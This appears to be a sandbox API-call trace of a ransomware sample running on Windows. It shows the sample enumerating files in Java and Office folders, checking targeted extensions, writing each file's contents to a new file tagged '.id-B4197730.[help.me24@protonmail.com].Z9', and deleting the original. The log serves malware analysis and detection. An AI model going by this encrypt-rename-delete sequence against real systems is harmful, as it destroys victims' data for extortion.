	[0164.790] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0164.790] lstrlenW (lpString=".1cd") returned 4
	[0164.790] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0164.790] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59
	[0164.790] lstrlenW (lpString=".jpg") returned 4
	[0164.791] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0164.791] lstrcmpiW (lpString1=".0_144\\lib\\security\\cacerts", lpString2=".Z9") returned -1
	[0164.791] lstrlenW (lpString="cacerts") returned 7
	[0164.791] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0164.792] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=114923) returned 1
	[0164.792] CloseHandle (hObject=0x3e0) returned 1
	[0164.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 0x20
	[0164.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.792] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0164.792] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.792] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.792] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0164.818] GetLastError () returned 0x0
	[0164.818] ReadFile (in: hFile=0x3e0, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x1c0eb, lpOverlapped=0x0) returned 1
	[0164.829] WriteFile (in: hFile=0x434, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x1c0f0, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x1c0f0, lpOverlapped=0x0) returned 1
	[0164.832] ReadFile (in: hFile=0x3e0, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.832] WriteFile (in: hFile=0x434, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0xe2, lpOverlapped=0x0) returned 1
	[0164.832] SetEndOfFile (hFile=0x434) returned 1
	[0164.833] CloseHandle (hObject=0x434) returned 1
	[0164.833] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.833] SetEndOfFile (hFile=0x3e0) returned 1
	[0164.838] CloseHandle (hObject=0x3e0) returned 1
	[0164.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0164.839] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\cacerts")) returned 1
	[0164.839] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0164.839] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0164.840] lstrlenW (lpString=".doc") returned 4
	[0164.840] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1
	[0164.840] lstrlenW (lpString=".docx") returned 5
	[0164.840] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1
	[0164.840] lstrlenW (lpString=".pdf") returned 4
	[0164.840] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1
	[0164.840] lstrlenW (lpString=".xls") returned 4
	[0164.840] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1
	[0164.840] lstrlenW (lpString=".xlsx") returned 5
	[0164.840] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1
	[0164.840] lstrlenW (lpString=".ppt") returned 4
	[0164.840] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1
	[0164.840] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0164.840] lstrlenW (lpString=".zip") returned 4
	[0164.840] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1
	[0164.840] lstrlenW (lpString=".rar") returned 4
	[0164.840] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1
	[0164.840] lstrlenW (lpString=".bz2") returned 4
	[0164.840] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1
	[0164.840] lstrlenW (lpString=".7z") returned 3
	[0164.840] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1
	[0164.840] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0164.840] lstrlenW (lpString=".dbf") returned 4
	[0164.840] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1
	[0164.840] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0164.840] lstrlenW (lpString=".1cd") returned 4
	[0164.840] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1
	[0164.840] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0164.840] lstrlenW (lpString=".jpg") returned 4
	[0164.841] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1
	[0164.841] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0164.841] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0164.841] lstrlenW (lpString=".doc") returned 4
	[0164.841] lstrcmpiW (lpString1=".doc", lpString2="erts") returned -1
	[0164.841] lstrlenW (lpString=".docx") returned 5
	[0164.841] lstrcmpiW (lpString1=".docx", lpString2="certs") returned -1
	[0164.841] lstrlenW (lpString=".pdf") returned 4
	[0164.841] lstrcmpiW (lpString1=".pdf", lpString2="erts") returned -1
	[0164.841] lstrlenW (lpString=".xls") returned 4
	[0164.841] lstrcmpiW (lpString1=".xls", lpString2="erts") returned -1
	[0164.841] lstrlenW (lpString=".xlsx") returned 5
	[0164.841] lstrcmpiW (lpString1=".xlsx", lpString2="certs") returned -1
	[0164.841] lstrlenW (lpString=".ppt") returned 4
	[0164.841] lstrcmpiW (lpString1=".ppt", lpString2="erts") returned -1
	[0164.841] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0164.841] lstrlenW (lpString=".zip") returned 4
	[0164.841] lstrcmpiW (lpString1=".zip", lpString2="erts") returned -1
	[0164.841] lstrlenW (lpString=".rar") returned 4
	[0164.841] lstrcmpiW (lpString1=".rar", lpString2="erts") returned -1
	[0164.841] lstrlenW (lpString=".bz2") returned 4
	[0164.841] lstrcmpiW (lpString1=".bz2", lpString2="erts") returned -1
	[0164.841] lstrlenW (lpString=".7z") returned 3
	[0164.841] lstrcmpiW (lpString1=".7z", lpString2="rts") returned -1
	[0164.841] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0164.841] lstrlenW (lpString=".dbf") returned 4
	[0164.841] lstrcmpiW (lpString1=".dbf", lpString2="erts") returned -1
	[0164.841] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0164.842] lstrlenW (lpString=".1cd") returned 4
	[0164.842] lstrcmpiW (lpString1=".1cd", lpString2="erts") returned -1
	[0164.842] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\cacerts") returned 55
	[0164.842] lstrlenW (lpString=".jpg") returned 4
	[0164.842] lstrcmpiW (lpString1=".jpg", lpString2="erts") returned -1
	[0164.842] lstrcmpiW (lpString1=".policy", lpString2=".Z9") returned -1
	[0164.842] lstrlenW (lpString="javaws.policy") returned 13
	[0164.842] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0164.843] GetFileSizeEx (in: hFile=0x3e0, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=98) returned 1
	[0164.843] CloseHandle (hObject=0x3e0) returned 1
	[0164.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 0x20
	[0164.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0164.844] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0
	[0164.844] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.844] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.844] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434
	[0164.845] GetLastError () returned 0x0
	[0164.845] ReadFile (in: hFile=0x3e0, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x62, lpOverlapped=0x0) returned 1
	[0164.981] WriteFile (in: hFile=0x434, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x70, lpOverlapped=0x0) returned 1
	[0164.988] ReadFile (in: hFile=0x3e0, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0164.988] WriteFile (in: hFile=0x434, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0xee, lpOverlapped=0x0) returned 1
	[0164.989] SetEndOfFile (hFile=0x434) returned 1
	[0164.989] CloseHandle (hObject=0x434) returned 1
	[0164.989] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0164.989] SetEndOfFile (hFile=0x3e0) returned 1
	[0165.127] CloseHandle (hObject=0x3e0) returned 1
	[0165.127] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0165.128] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy")) returned 1
	[0165.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0165.129] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0165.129] lstrlenW (lpString=".doc") returned 4
	[0165.129] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1
	[0165.129] lstrlenW (lpString=".docx") returned 5
	[0165.129] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1
	[0165.129] lstrlenW (lpString=".pdf") returned 4
	[0165.129] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1
	[0165.129] lstrlenW (lpString=".xls") returned 4
	[0165.129] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1
	[0165.129] lstrlenW (lpString=".xlsx") returned 5
	[0165.129] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1
	[0165.129] lstrlenW (lpString=".ppt") returned 4
	[0165.130] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1
	[0165.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0165.130] lstrlenW (lpString=".zip") returned 4
	[0165.130] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1
	[0165.130] lstrlenW (lpString=".rar") returned 4
	[0165.130] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1
	[0165.130] lstrlenW (lpString=".bz2") returned 4
	[0165.130] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1
	[0165.130] lstrlenW (lpString=".7z") returned 3
	[0165.130] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1
	[0165.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0165.130] lstrlenW (lpString=".dbf") returned 4
	[0165.130] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1
	[0165.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0165.130] lstrlenW (lpString=".1cd") returned 4
	[0165.130] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1
	[0165.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0165.130] lstrlenW (lpString=".jpg") returned 4
	[0165.130] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1
	[0165.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0165.130] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0165.130] lstrlenW (lpString=".doc") returned 4
	[0165.130] lstrcmpiW (lpString1=".doc", lpString2="licy") returned -1
	[0165.130] lstrlenW (lpString=".docx") returned 5
	[0165.130] lstrcmpiW (lpString1=".docx", lpString2="olicy") returned -1
	[0165.130] lstrlenW (lpString=".pdf") returned 4
	[0165.130] lstrcmpiW (lpString1=".pdf", lpString2="licy") returned -1
	[0165.131] lstrlenW (lpString=".xls") returned 4
	[0165.131] lstrcmpiW (lpString1=".xls", lpString2="licy") returned -1
	[0165.131] lstrlenW (lpString=".xlsx") returned 5
	[0165.131] lstrcmpiW (lpString1=".xlsx", lpString2="olicy") returned -1
	[0165.131] lstrlenW (lpString=".ppt") returned 4
	[0165.131] lstrcmpiW (lpString1=".ppt", lpString2="licy") returned -1
	[0165.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0165.131] lstrlenW (lpString=".zip") returned 4
	[0165.131] lstrcmpiW (lpString1=".zip", lpString2="licy") returned -1
	[0165.131] lstrlenW (lpString=".rar") returned 4
	[0165.131] lstrcmpiW (lpString1=".rar", lpString2="licy") returned -1
	[0165.131] lstrlenW (lpString=".bz2") returned 4
	[0165.131] lstrcmpiW (lpString1=".bz2", lpString2="licy") returned -1
	[0165.131] lstrlenW (lpString=".7z") returned 3
	[0165.131] lstrcmpiW (lpString1=".7z", lpString2="icy") returned -1
	[0165.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0165.131] lstrlenW (lpString=".dbf") returned 4
	[0165.131] lstrcmpiW (lpString1=".dbf", lpString2="licy") returned -1
	[0165.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0165.131] lstrlenW (lpString=".1cd") returned 4
	[0165.131] lstrcmpiW (lpString1=".1cd", lpString2="licy") returned -1
	[0165.131] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 61
	[0165.131] lstrlenW (lpString=".jpg") returned 4
	[0165.131] lstrcmpiW (lpString1=".jpg", lpString2="licy") returned -1
	[0165.131] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0165.132] lstrlenW (lpString="api-ms-win-core-xstate-l2-1-0.dll") returned 33
	[0165.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0165.188] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=11616) returned 1
	[0165.188] CloseHandle (hObject=0x474) returned 1
	[0165.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x220
	[0165.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0165.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0165.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0165.192] lstrlenW (lpString=".doc") returned 4
	[0165.192] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.192] lstrlenW (lpString=".docx") returned 5
	[0165.192] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0165.192] lstrlenW (lpString=".pdf") returned 4
	[0165.192] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.192] lstrlenW (lpString=".xls") returned 4
	[0165.192] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.192] lstrlenW (lpString=".xlsx") returned 5
	[0165.192] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0165.192] lstrlenW (lpString=".ppt") returned 4
	[0165.192] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0165.192] lstrlenW (lpString=".zip") returned 4
	[0165.192] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.192] lstrlenW (lpString=".rar") returned 4
	[0165.192] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.192] lstrlenW (lpString=".bz2") returned 4
	[0165.193] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.193] lstrlenW (lpString=".7z") returned 3
	[0165.193] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0165.193] lstrlenW (lpString=".dbf") returned 4
	[0165.193] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0165.193] lstrlenW (lpString=".1cd") returned 4
	[0165.193] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0165.193] lstrlenW (lpString=".jpg") returned 4
	[0165.193] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0165.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0165.193] lstrlenW (lpString=".doc") returned 4
	[0165.193] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.193] lstrlenW (lpString=".docx") returned 5
	[0165.193] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0165.193] lstrlenW (lpString=".pdf") returned 4
	[0165.193] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.193] lstrlenW (lpString=".xls") returned 4
	[0165.193] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.193] lstrlenW (lpString=".xlsx") returned 5
	[0165.193] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0165.193] lstrlenW (lpString=".ppt") returned 4
	[0165.193] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0165.194] lstrlenW (lpString=".zip") returned 4
	[0165.194] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.194] lstrlenW (lpString=".rar") returned 4
	[0165.194] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.194] lstrlenW (lpString=".bz2") returned 4
	[0165.194] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0165.194] lstrlenW (lpString=".7z") returned 3
	[0165.194] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0165.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0165.194] lstrlenW (lpString=".dbf") returned 4
	[0165.194] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0165.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0165.194] lstrlenW (lpString=".1cd") returned 4
	[0165.194] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0165.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-xstate-l2-1-0.dll") returned 79
	[0165.194] lstrlenW (lpString=".jpg") returned 4
	[0165.194] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0165.194] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0165.194] lstrlenW (lpString="api-ms-win-crt-convert-l1-1-0.dll") returned 33
	[0165.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474
	[0165.196] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=22720) returned 1
	[0165.196] CloseHandle (hObject=0x474) returned 1
	[0165.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x220
	[0165.196] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0165.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0165.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79
	[0165.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79
	[0165.197] lstrlenW (lpString=".doc") returned 4
	[0165.197] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0165.197] lstrlenW (lpString=".docx") returned 5
	[0165.197] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0165.197] lstrlenW (lpString=".pdf") returned 4
	[0165.197] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0165.197] lstrlenW (lpString=".xls") returned 4
	[0165.197] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0165.197] lstrlenW (lpString=".xlsx") returned 5
	[0165.197] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0165.197] lstrlenW (lpString=".ppt") returned 4
	[0165.197] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0165.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-convert-l1-1-0.dll") returned 79
	[0165.197] lstrlenW (lpString=".zip") returned 4
	[0165.197] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0165.197] lstrlenW (lpString=".rar") returned 4
	[0165.197] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0165.197] lstrlenW (lpString=".bz2") returned 4
